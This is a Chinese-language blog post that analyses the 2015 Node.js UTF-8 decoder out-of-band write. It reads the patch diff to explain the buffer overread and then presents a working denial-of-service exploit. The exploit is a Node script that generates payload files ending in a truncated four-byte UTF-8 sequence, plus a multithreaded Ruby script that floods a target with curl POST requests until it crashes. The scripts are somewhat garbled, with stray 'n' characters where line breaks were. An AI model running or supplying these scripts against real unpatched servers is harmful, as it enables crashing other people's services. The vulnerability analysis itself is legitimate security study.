Node.js 2015 獨立日漏洞原理及攻擊腳本

Node.js 社區 2015 美國獨立日周末的狂歡之時爆出漏洞:

medium.com/@iojs/import

隨後 Node.js 緊急更新:

deps: fix out-of-band write in utf8 decoder · nodejs/node@030f804

我們來通過這個代碼 diff 看一下這個漏洞的原理。

首先通讀整篇 diff,可以看到作者主要的工作就是添加了變數 unbuffered_length_,並在各個調用級別上添加了對這個變數的傳遞。這個變數的名字叫 XXX_length,也就是標記長度,由這個名字我們可以大膽猜測這是一個緩衝區溢出型的漏洞。

在這個假設下,我們來看 unbuffered_length_ 限制了誰。在使用這個變數的函數中,調用級別最深的函數就是 Utf8::ValueOf。這個函數的作用是什麼呢?從 第一個參數 bytes 指向的內存區域中,讀取一個 UTF-8 字元 uchar 並返回;且其第二個參數 length 指明了可以讀取數據的長度。

ValueOf 進而調用了 CalculateValue,大意就是根據 UTF-8 的解碼規則,一個位元組、一個位元組地往後讀內容進行解碼;例如如果第一個位元組讀到了 11110xxx,那麼根據解碼規則這就意味著這是一個四個位元組長的 UTF-8 字元,於是繼續往後讀一個位元組,看是不是 10xxxxxx,等等。

從 diff 可以看到,之前的寫法是把 length 參數傳成了一個常量 Utf8::kMaxEncodedSize,它被定義為 4,但 bytes 指向的內存區域有可能並沒有這麼長,所以造成了緩衝區溢出。

由此可以設計攻擊方案:

向使用未升級 Node.js 運行的 Chair 應用發起一個 POST 請求,讀公共的源代碼發現 Utf8Decoder 設定的緩衝區域的大小是512,將 Content-type 標記為 application/json; charset=utf-8,然後在 HTTP 體中傳輸一段解碼後長度比 512 剛剛大 1~3 個位元組的合法的 UTF-8 編碼的字元串,這樣伺服器就會讀取臟內存,從而有一定概率崩潰而DoS。

具體是怎麼崩潰的呢?這要看上層的調用函數 WriteUtf16Slow,你會發現它是一個循環,只要讀取的臟內存使得 cursor 移動異常,這個循環就有可能不會終止,而循環內的不該執行的額外周期內會向不該寫入的內存區域中寫入內容,導致崩潰。

攻擊思路首先是構造特殊的 UTF-8 編碼的內容,構造腳本如下:

// naughty_gen.jsnnvar fs=require(fs);nnvar b1 = new Buffer("南越國是前203年至前111年存在於嶺南地區的一個國家,國都位於番禺,疆域包括今天中國的廣東、廣西兩省區的大部份地區,福建省、湖南、貴州、雲南的一小部份地區和越南的北部。南越國是秦朝滅亡後,由南海郡尉趙佗於前203年起兵兼并桂林郡和象郡後建立。前196年和前179年,南越國曾先後兩次名義上臣屬於西漢,成為西漢的「外臣」。前112年,南越國末代君主趙建德與西漢發生戰爭,被漢武帝於前111年所滅。南越國共存在93年,歷經五代君主。南越國是嶺南地區的第一個有記載的政權國家,採用封建制和郡縣制並存的制度,它的建立保證了秦末亂世嶺南地區社會秩序的穩定,有效的改善了嶺南地區落後的政治、經濟現狀。南越國是前203年至前111年存在於嶺南地區的一個國家,國都位於番禺,疆域包括今天中國的廣東、廣西兩省區的大部份地區,福建省、湖南、貴州、雲南的一小部份地區和越南的北部。南越國是秦朝滅亡後,由南海郡尉趙佗於前203年起兵兼并桂林郡和象郡後建立。前196年和前179年,南越國曾先後兩次名義上臣屬於西漢,成為西漢的「外臣」。前112年,南越國末代君主趙建德與西漢發生戰爭,被漢武帝於前111年所滅。南越國共存在93年,歷經五代君主。南越");nvar b2 = new Buffer("f09f98", "hex");n

最後把 b1 b2 拼接輸出到 /tmp/naughty3

適當縮短 b2 的大小,分別生成naughty3、naughty2、naughty1。接下來把這些 naughty 的東西瘋狂地 POST 到伺服器上去,直到它崩潰:

# attack.rbnnTARGET = http://127.0.0.1:1337/nnprint "Attacking #{TARGET}"n10.times.map{n Thread.new{n 100000.times{n `curl -H "Content-Type: application/json; charset=utf-8" -i #{TARGET} -X POST --data-binary @naughty#{rand(3)+1} >/dev/null 2>&1`n print "."n break if 0 != $?.exitstatusn }n }n}.map(&:join)nputs "Hacked by pmq20"n

效果如下:


推薦閱讀:

利用Flash漏洞進行釣魚復現演示(附視頻)
Metasploit資料庫相關命令使用基礎教程
匿名操作系統推薦
現在的黑客應該懂得哪些技術,求高質量書單?
真的有小說中那種可以隨意黑掉銀行然後把銀行當做ATM機的黑客嗎?

TAG:缓冲区溢出 | Nodejs | 黑客攻击 |